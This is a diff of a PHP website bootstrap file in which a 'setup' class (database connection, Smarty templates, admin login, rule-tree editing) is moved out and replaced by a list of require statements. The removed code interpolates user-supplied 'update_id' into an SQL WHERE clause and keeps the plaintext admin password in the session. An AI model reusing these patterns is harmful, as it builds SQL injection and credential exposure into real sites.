  266 + {
  267 + $this->tpl->display ("index.tpl");
  268 + }
  269 +}
1 <?php 1 <?php
2 -//set_time_limit(300);  
3 -  
4 -  
5 -setlocale(LC_ALL, "ru_RU.KOI8-R");  
6 -  
7 -require($_SERVER['DOCUMENT_ROOT'] . '/config/config.php');  
8 -  
9 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php');  
10 -  
11 -define('DB_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/DB/");  
12 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php');  
13 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php');  
14 -  
15 -define('PAGER_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/");  
16 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php');  
17 -  
18 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php');  
19 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php');  
20 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php');  
21 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php');  
22 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php');  
23 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php');  
24 -  
25 -define('SMARTY_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/");  
26 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php");  
27 -  
28 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php');  
29 -  
30 -define('HTTP_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/");  
31 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php');  
32 -  
33 -require($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php');  
34 -  
35 -  
36 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php");  
37 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php");  
38 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php");  
39 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php");  
40 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php");  
41 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php");  
42 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php");  
43 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php");  
44 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php");  
45 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php");  
46 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php");  
47 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php");  
48 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php");  
49 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php");  
50 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php");  
51 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php");  
52 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php");  
53 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php");  
54 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php");  
55 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php");  
56 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php");  
57 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php");  
58 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php");  
59 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php");  
60 -require($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php");  
61 -  
62 -class setup{  
63 - var $db = null;  
64 - var $tpl = null;  
65 - var $error = array();  
66 - var $meta = array();  
67 - var $admin = null;  
68 - var $rules = "rules";  
69 - var $tree = null;  
70 - var $cache = null;  
71 -  
72 -  
73 - function setup($admin = false){  
74 - $this->admin = $admin;  
75 - switch($this->admin){  
76 - case false : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/';  
77 - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/';  
78 - break;  
79 - case true : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/';  
80 - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/';  
81 - break;  
82 - }  
83 -  
84 - $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE;  
85 - $this->db = DB::connect($connect);  
86 - if (PEAR::isError($this->db)) die($this->db->getMessage());  
87 - $this->db->query("set names cp1251");  
88 -  
89 - $this->tree = new CDBTree($this->db, 'rules', 'id');  
90 -  
91 - $this->cache = new Cache;  
92 - $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/";  
93 -  
94 - $this->tpl = new Smarty;  
95 - $this->tpl->template_dir = $template_dir;  
96 - $this->tpl->compile_dir = $compile_dir;  
97 - $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/';  
98 - }  
99 -  
100 - function setupClass($nameClass){  
101 - return new $nameClass($this->db,$this->tpl,$this->error,$this->cache);  
102 - }  
103 -  
104 - function isAdminUser($user = array()){  
105 -  
106 - if((isset($user['login']) && $user['login']==ADMIN_USER) && (isset($user['psw']) && $user['psw']==ADMIN_PSW)){  
107 - $_SESSION['admin']['login'] = $user['login'];  
108 - $_SESSION['admin']['psw'] = $user['psw'];  
109 - }  
110 -  
111 - if((isset($_SESSION['admin']['login']) && $_SESSION['admin']['login']==ADMIN_USER) && (isset($_SESSION['admin']['psw']) && $_SESSION['admin']['psw']==ADMIN_PSW))return true;  
112 -  
113 - return false;  
114 - }  
115 -  
116 - function AdminUserExit(){  
117 - unset($_SESSION['admin']);  
118 - }  
119 -  
120 -  
121 - function getRulesOne($action,$lang = "ru"){  
122 - $sql = "SELECT A.id,A.action,M.modul";  
123 - if($lang=='ukr')$sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about";  
124 - else $sql .= ",A.name,A.title,A.keywords,A.description,A.about";  
125 - $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1";  
126 - $row = $this->db->getRow($sql,array($action),DB_FETCHMODE_ASSOC);  
127 - $this->meta = array("title"=>$row['title'],"keywords"=>$row['keywords'],"description"=>$row['description'],"about"=>$row['about']);  
128 - $this->tpl->assign('rules_info_one',$row);  
129 - $this->tpl->assign('lang',$lang);  
130 - $lang_prefix = ($lang == "ru") ? null : $lang . '/';  
131 - $this->tpl->assign('lang_prefix',$lang_prefix);  
132 - return $row;  
133 - }  
134 - /*  
135 - function includesElements(){  
136 - $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/";  
137 - $includes_dir = opendir($dir);  
138 - while ( ($inc_file = readdir($includes_dir)) != false )  
139 - if (strstr($inc_file,".php"))  
140 - {  
141 - include($dir . $inc_file);  
142 - }  
143 - } */  
144 -  
145 - function trim(&$data){  
146 - foreach($data as $key=>$value){  
147 - if(is_array($data[$key]))$this->trim($data[$key]);  
148 - else $data[$key] = trim($value);  
149 - }  
150 - }  
151 -  
152 - function valid($data){  
153 - if(isset($data['url_action'])){  
154 - if( !preg_match("/^.{1,20}$/i",$data['url_action']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå).";  
155 - elseif($data['url_action'] == $this->rules) $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!";  
156 - }  
157 - if(isset($data['name'])){  
158 - if( !preg_match("/^.{1,50}$/i",$data['name']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå).";  
159 - }  
160 - return ( count($this->error) ) ? true : false;  
161 - }  
162 -  
163 - function rulesSaveAction($data){  
164 - $id = (isset($data['action_id']) && $data['action_id']>0) ? $data['action_id'] : 1;  
165 - $fields_values = array(  
166 - "parent_id"=>$id  
167 - ,"action"=>$data['url_action']  
168 - ,"name"=>$data['name']  
169 - ,"name_ukr"=>$data['name_ukr']  
170 - ,"title"=>$data['title']  
171 - ,"title_ukr"=>$data['title_ukr']  
172 - ,"about"=>$data['about']  
173 - ,"about_ukr"=>$data['about_ukr']  
174 - ,"description"=>$data['description']  
175 - ,"description_ukr"=>$data['description_ukr']  
176 - ,"keywords"=>$data['keywords']  
177 - ,"keywords_ukr"=>$data['keywords_ukr']  
178 - ,"modul_id"=>$data['modul_id']  
179 - );  
180 - if(isset($data['update_id']) && $data['update_id']>0){  
181 - $this->db->autoExecute("rules", $fields_values, DB_AUTOQUERY_UPDATE,"id={$data['update_id']}");  
182 - }else{  
183 - $this->tree->insert($id,$fields_values);  
184 - }  
185 - }  
186 -  
187 - function viewRules(){  
188 - $sql = "select * from rules where _level>0 ORDER BY _left";  
189 - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC);  
190 - $this->tpl->assign('rules',$row);  
191 - }  
192 -  
193 - function viewRulesBegin(){  
194 - $sql = "select * from rules where parent_id=1 ORDER BY _left";  
195 - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC);  
196 - $this->tpl->assign('rules_begin',$row);  
197 - }  
198 -  
199 - function viewRulesParent($id = 2){  
200 - $sql = "select * from rules where parent_id=? ORDER BY _left";  
201 - $row = $this->db->getAll($sql,array($id),DB_FETCHMODE_ASSOC);  
202 - $this->tpl->assign('rules_parent',$row);  
203 - }  
204 -  
205 - function viewOneRules($id){  
206 - $sql = "select * from rules where id=? limit 1";  
207 - $row = $this->db->getRow($sql,array($id),DB_FETCHMODE_ASSOC);  
208 - $this->tpl->assign('rules_one',$row);  
209 - }  
210 -  
211 - function linkLang(){  
212 - $REQUEST_URI = substr(str_replace(array("/ukr","/ru","/eng","lang=ukr","lang=ru","lang=eng"),null,$_SERVER['REQUEST_URI']),1);  
213 - /*  
214 - $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/';  
215 - $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL;  
216 - $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL;  
217 - */  
218 - $REQUEST_URI = eregi_replace("^ucse\/", null, $REQUEST_URI);  
219 - $link_ukr = "ukr/" . $REQUEST_URI;  
220 - $link_rus = $REQUEST_URI;  
221 -  
222 - $this->tpl->assign('link_rus', $link_rus );  
223 - $this->tpl->assign('link_ukr', $link_ukr );  
224 -  
225 - /*  
226 - $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus );  
227 - $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr );  
228 - $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng );  
229 - */  
230 - }  
231 -  
232 - function rulesDelete($id){  
233 - $this->tree->delete($id);  
234 - }  
235 -  
236 - function meta(){  
237 - $this->tpl->assign('meta',$this->meta);  
238 - }  
239 -  
240 - function error(){  
241 - $this->tpl->assign('error',$this->error);  
242 - }  
243 -  
244 - function displayRules(){  
245 - $this->tpl->assign('action_modules',$this->db->getAll("select * from modules",array(),DB_FETCHMODE_ASSOC));  
246 - $this->tpl->assign('tpl',"rules.tpl");  
247 - }  
248 -  
249 - function displayAdmin(){  
250 - $this->tpl->display("admin.tpl");  
251 - }  
252 -  
253 - function display(){  
254 - $this->tpl->display("index.tpl");  
255 - }  
256 -  
257 -}  
258 - 2 +// set_time_limit(300);
  3 +setlocale (LC_ALL, "ru_RU.KOI8-R");
  4 +
  5 +define ('DB_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/DB/");
  6 +define ('PAGER_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/");
  7 +define ('SMARTY_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/");
  8 +define ('HTTP_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/");
  9 +
  10 +require ($_SERVER['DOCUMENT_ROOT'] . '/config/config.php');
  11 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php');
  12 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php');
  13 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php');
  14 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php');
  15 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php');
  16 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php');
  17 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php');
  18 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php');
  19 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php');
  20 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php');
  21 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php");
  22 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php');
  23 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php');
  24 +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php');
  25 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php");
  26 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php");
  27 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php");
  28 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php");
  29 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php");
  30 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php");
  31 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php");
  32 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php");
  33 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php");
  34 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php");
  35 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php");
  36 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php");
  37 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php");
  38 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php");
  39 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php");
  40 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php");
  41 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php");
  42 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php");
  43 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php");
  44 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php");
  45 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php");
  46 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php");
  47 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php");
  48 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php");
  49 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php");
  50 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/extra.class.php");
  51 +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/setup.class.php");
259 ?> 52 ?>
260 \ No newline at end of file 53 \ No newline at end of file